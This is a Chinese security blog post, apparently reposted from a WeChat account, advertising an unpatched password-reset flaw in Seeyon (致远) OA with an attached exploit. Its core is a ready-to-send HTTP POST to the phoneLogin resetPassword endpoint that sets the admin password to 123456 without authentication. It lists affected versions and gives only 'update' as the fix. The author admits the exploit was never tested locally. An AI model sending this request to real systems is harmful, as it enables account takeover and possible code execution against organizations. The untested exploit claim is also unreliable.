【New | 附EXP】致远OA 0day漏洞

admin 2023年9月12日14:39:34评论101 views字数 697阅读2分19秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把阿无安全设为星标”,否则可能看不到了


0x01 前言

   
致远OA是一款协同管理平台,主要面向中大型、集团型企业和组织的协同管理软件产品。该漏洞是由于致远OA修改用户密码时收发验证码的接口存在缺陷,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行未授权重置密码攻击,最终导致越权可以任意用户登录账号并可能进一步实现远程代码执行。
【New | 附EXP】致远OA 0day漏洞


0x02 漏洞影响


    影响版本

Seeyon OA=V5/G6Seeyon OA=V8.1SP2Seeyon OA=V8.2

0x03 漏洞利用

EXP:

POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1Host: ipUser-Agent: Go-http-client/1.1Content-Length: 24Content-Type: application/jsonAccept-Encoding: gzip
{"loginName":"admin","password":"123456"}

没有本地环境~~等遇到授权目标再补!

0x04 修复方案

建议及时更新版本!

0x06 下载地址

防丢失!历史文章备份

【New | 附EXP】致远OA 0day漏洞

点击下方名片进入公众号

回复关键字【文章备份】获取下载链接

原文始发于微信公众号(阿无安全):【New | 附EXP】致远OA 0day漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月12日14:39:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【New | 附EXP】致远OA 0day漏洞https://cn-sec.com/archives/2029124.html

发表评论

匿名网友 填写信息